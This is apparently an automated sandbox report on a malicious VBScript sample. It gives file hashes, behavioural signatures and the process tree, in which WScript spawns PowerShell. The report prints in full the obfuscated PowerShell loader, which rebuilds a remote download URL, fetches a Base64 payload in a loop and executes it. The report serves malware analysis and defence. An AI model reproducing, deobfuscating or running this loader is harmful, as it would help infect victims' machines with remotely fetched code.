Analysis
-
max time kernel
149s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
07/11/2024, 02:46
Static task
static1
Behavioral task
behavioral1
Sample
88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs
Resource
win10v2004-20241007-en
General
-
Target
88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs
-
Size
15KB
-
MD5
5ad52d64a21f10ad755ec87891cb0ee4
-
SHA1
1ddc7de7db46b2a959d2725a82303eeffe6caa16
-
SHA256
88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6
-
SHA512
84eedc76b14fa268adc52cb751a15b673660af8378dd62bbe2b8ef9e1f96416e489b09420822423ab506034c86dd71bde664cfe1a61823f2b858ee58eb4081c8
-
SSDEEP
384:tb396jHpB+hxGJwWJWkyRZxZJQvPkFtGSqUsvVNccDqa:tNgIAJ/8nvxLQXszaV9Dqa
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 1072 WScript.exe -
pid Process 2668 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2668 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2668 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1072 wrote to memory of 2668 1072 WScript.exe 30 PID 1072 wrote to memory of 2668 1072 WScript.exe 30 PID 1072 wrote to memory of 2668 1072 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Rollway Albummerne Sydende Cutters Circumferentor Uvanligst #>;$Acanthuthi='Draabetllers';<#Nicotianin Prygl Pterygopharyngeal urnehaller Poove Regneudtrykkenes Pfunde #>; function Instanter($Flehornenes){If ($host.DebuggerEnabled) {$Promos++;}$Positionerendes=$Leucocytoplania+$Flehornenes.'Length' - $Promos; for ( $Personalekompensationens=4;$Personalekompensationens -lt $Positionerendes;$Personalekompensationens+=5){$reumatologiske=$Personalekompensationens;$Ennuis+=$Flehornenes[$Personalekompensationens];}$Ennuis;}function Rekommandrerne21($Nasomalar){ . ($Sdmefyldt) ($Nasomalar);}$Harassments=Instanter ' P.rMTrumo AdvzKak iK lolBrugl B,raRese/Fami ';$prosecution=Instanter 'CommTBoe.lAamusSneg1brak2bibl ';$Chairmanning='Prop[MorenRys.E UnptD.ej.Da tsEnkeEFru R .akvS abiFascCDefeEPallPcollOSoluI A rNCo fT.uplmDealaLotiN EscAOverg mie U crindp]Svam:ib u:KullsindeEInveC OrnUB ndR RibiS,ort steyTetrP Di R .onOLindt steOEnhecPre oBa kLmlle= Flg$Wa,ePSloarD stoReedS In.E HencStatUUnbrTnadaIB.ldOPreeNVkst ';$Harassments+=Instanter 'Bagl5 Klb.Recr0Kana U cl(FirnWMedii aken S rd VaroCa.dw B,rsKur MarkN de.TDoms Ven1Fe,i0Unde. Byg0 Di.;Ears S ivWner iOp lnT,kt6Fa,t4 rus;Re o TvisxThr,6 Pe,4Nyde;Esch B adrHepavcons:Sfol1Stag3Sort1Und,.Skrv0Omsi)End, U.flGRegie No.c Od,kVannoDign/G.rs2Seri0Likv1Flak0Trav0 iga1A sk0Fors1Prog SettFSko ichi rPerse RenfFac o W.lx Adi/ Ryo1 Slu3 R.f1Crem.By a0Pae, ';$Planlses=Instanter 'Be.ouTetaS S aEturbrNone-,arsABlinG RudeMithNId ot fec ';$Rubberneck=Instanter 'Th ohM,sst JultEnump ntesTr m: Hor/Ps u/Galod tarrAttriluthvdanne Imp. StegTomgoSporoProagLau lvat,eman .UnlicDds oNonemChau/ FrauMe.ocIcon?pi ceIodixUkrlpbo loTi,mr plit Out=LuftdDehooDadewTizznFutilMos oCoataV,bgdKonk&ProtiPo kdRetu=A ve1Swig6 .urvObsegfil 1StryFeneraFlat-ThroIPrevgUndep Ma GVagexbrutfTalePPantaKorsUFr ghP opO UnczFemt6 Un OstttLIndeq nc8StudVFrasQflgewStar4Hv.dgOverB rgt StasLekt ';$Bekmpelsesforanstaltnings=Instanter 'Faci>Flo ';$Sdmefyldt=Instanter 'PrinI NabEIndax.rem ';$Skobrstning='Lnestolenes';$Ukvemsordene='\Jokingly.Nor';Rekommandrerne21 (Instanter 'omst$ elhGJordLOp rO NedB,ncoABe uL Sa :ImplnRimeyAffif ismD Kertko.meSkov=An e$ vereTilgnIm,iVAnti:ExprAProwPAutoPorand.rbeA redTsponAThor+Busk$ Sa,uProiKIn uvNon e nomM nyesJetmo FugrA,urdBylrEP odNDromeNurs ');Rekommandrerne21 (Instanter ' Tin$Arbog hotlMod.OSpo,B SrgATv.tLElec: AkrDSimaIgesjsMiliL.veroTranCNgleAFal,T seeG.tedFarvl .rcYOutw= nde$AlfaRBlinUCirkBAasybEuxaE elsrSadlNDestEReviCUdkoKNeso.GyroS StepTh.wlKhusI RasT Sub( gg $CucubKommEOec K ProM R lP T.pEKrilL RensWindeFy.iSSulffRes O odurMat A hixn FraSClictMoriaLinjl ndetJuranTvani Tacn IndgEndoSHapt)Frit ');Rekommandrerne21 (Instanter $Chairmanning);$Rubberneck=$Dislocatedly[0];$Underbelly=(Instanter 'Grif$RaasgReprLPre O ,nhBTostAMexiLschn:Uafhn rio AnsNDrosrMegaE npeCOmgrTslumAMarxnHuskg,eleUStralAbysACig,RMakrLprojY Bss=IndeNManieArbeW Lov-MastoD vibSocijsableHandCGluctSama DeposAfk yC ndS BastSavkE FlaMCens.GoutNUa teWil tMoo,.,dvoW AlfesammB,ydlcKipplRedeI Tele AdjnCir,tForr ');Rekommandrerne21 ($Underbelly);Rekommandrerne21 (Instanter '.dop$Fea NFamio FornBlgerSpoie ForcScr tDmpea B lnFinagAboru ,osldrivaCytorSlaglBranyBesn.SelaHMonae VakaUnfad ereGennr HaasO gr[Perv$TrowPTyk,lJubbaM ssnPutllTriasUnweeBerosunbr]Zool=Auta$PrecH Fl aBallr Bo.aDif sUfresFi km.edseHjhlnAscitBarssSmoo ');$forretningsmanden=Instanter 'Aer.$ sewNShoroAccenAfsvr AkteGorgcRegnt Misa,ichns.ingcreeu GlalParda FasrSel.lBiedy Dep. ysDAcrooSlbnwSe inRatll HonoDataaTrykdBogeF U si Hovl V gePaak(Ri g$UdsmR,ermuMonob etabInveeShafrFel.nUncienorscitalkMagn, Ydu$FlkkD FodiTeatb Rh rPle.aProdnS emcYndlh.cteiHum,aImm )Dagb ';$Dibranchia=$Nyfdte;Rekommandrerne21 (Instanter 'Oile$ pumGChivL AnmOVi.dBDokbaTilbLVest:PariS em.KL,mbOBearL eceeStargPondARediA,iljr Gl dPr,gESc p2Fort2Inst=ra,k(bagltFejlE Eu s MulT Co - B.spPishaDresTknalHl,ev miry$ProdDSurrI vstBKa hrRecoAUnr N proCAk,iHRekoiCholaGypt)Hals ');while (!$Skolegaarde22) {Rekommandrerne21 (Instanter 'Un u$InfagRetalBra.oTandb DataYensls,ec: AdrDOrigiRemigMurmtSlumnRompi T inKri gScru=Gamb$KendtUnstrZygauRealeSk v ') ;Rekommandrerne21 $forretningsmanden;Rekommandrerne21 (Instanter 'ConvsSwamt PlaaRe aRRyo tVenn-Kas.s ,ytL Mo.EBambe T lP ch Sel4Me s ');Rekommandrerne21 (Instanter 'Opgi$FellgLev.L a sO SahBSlacaCit lBurg:B ars MelK GuloMorpLA alEboweGMellACanaaUdv.RCutiDThyreDung2Dkvi2Pres=,lan(YndeTMarceVandSiagtTEisi-SiklPReada OrktLethhNoni Pars$BrevDFjeditigebLansr VinAPjatnBer cForsH,lodiDokuAPi,p)stau ') ;Rekommandrerne21 (Instanter 'Tr,n$SkatGGd,iLIs.coCerebEndeaBakeLThe : Be fPikea lacrFitzV elvE wiFUnoiO ,kaTkvaroDentgBicorFor afe tfAba,ISlamEKaalt Ov,sdyb = id$ Stug imeLAnbeoSubsbRdstA gaalMa f:Prakub.flNAshiD Proe Ponr krBFor,eBauxL EndL dstiS riETi,sSTone3D co9Skim+Sch +Smkk%Pyri$NondDCytoIina SSubbL ystoT rvCOr,ra oinT TjrE isudDea.LAfgrySugn.FiliC Ci.OSquiu.ervnTy atV,dj ') ;$Rubberneck=$Dislocatedly[$Farvefotografiets];}$Prescientific=268629;$Bowleren=31429;Rekommandrerne21 (Instanter 'flyt$ StrGRatiLTrs OBoogBForsAGausL luc:SweeTBa dp g,nPShoaE ZirMAnapnHighDBrouESe in SmoESkom ,lut= les FiligTillESejlTMo l-ChopcNi.nO SluNDomaTStatEOverNAtomtFors Kast$MothdOmk iK nsb isuRTilhAFirsnEffeCUntaHBuckIUndeaTrem ');Rekommandrerne21 (Instanter ' Gag$NeurgVrdilEtypoGulab S.maUdvilD ge:T,anINon msaripNyloaprofsEkspsInd iPil,bAstelpiskeGalh .emm=Omri Fis[Pep SFartyclyps CagtpareeSvejm hry.BrndCSyddoDa.rnAimfv O ne Kirr AnttCer ]Nyor:Ra e:DecoFStarrU seoLysnmLepoBbr laFlngsRaideKal 6Hous4Re rSKabetVe urDisciSw gn no,gKrak(Pet $ uitTTickpLy vpForeeCen mA.unn PoldMispeEct,nMi deTeg.)Liga ');Rekommandrerne21 (Instanter 'U pr$KlynGFuseLEnfeoOs mBSy caP eul Ha :Breds B cUUnvotk rns raakOddfOStea Lok =Pant C,ty[BetrS forYFlyvS BenTTildeO,erMVilj. UnptM dteObl.XDiv TPsi .Me gE UndnSupeCR,gnOCodedMedvI GigNExpagu vi].urs: un: psiaR fls Upbc Hepi,lasiJazz.S,raG InveMerct IndSForsTTehurKorsIBisaNImmaGAn.b( Vid$ScaliRustmGospP.leaaOpatsKontsBambitangbUminlThunE St,)Nonc ');Rekommandrerne21 (Instanter 'Un.u$TrucGUns lPuncODamsB.aalaLi,hlPoly:Be eC,iskeVdesn Ou t SkaR onrI rocFContu aspGNondEHaem=Schl$UddisA tiU .amT AsysS anKBnkeoPrem..ylosDepuUBranBSndeSRaakT An RHoloIst kn BoyGOmrr(Booz$ maaPRemaRProveMa sS ExtC PreI VogE IrrN .reTRes I UnifD taiPhotcOutf,u,re$VisiBAntio MerwMelalslagE Ge R LokEDan nRoun) Pa, ');Rekommandrerne21 $Centrifuge;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2668
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b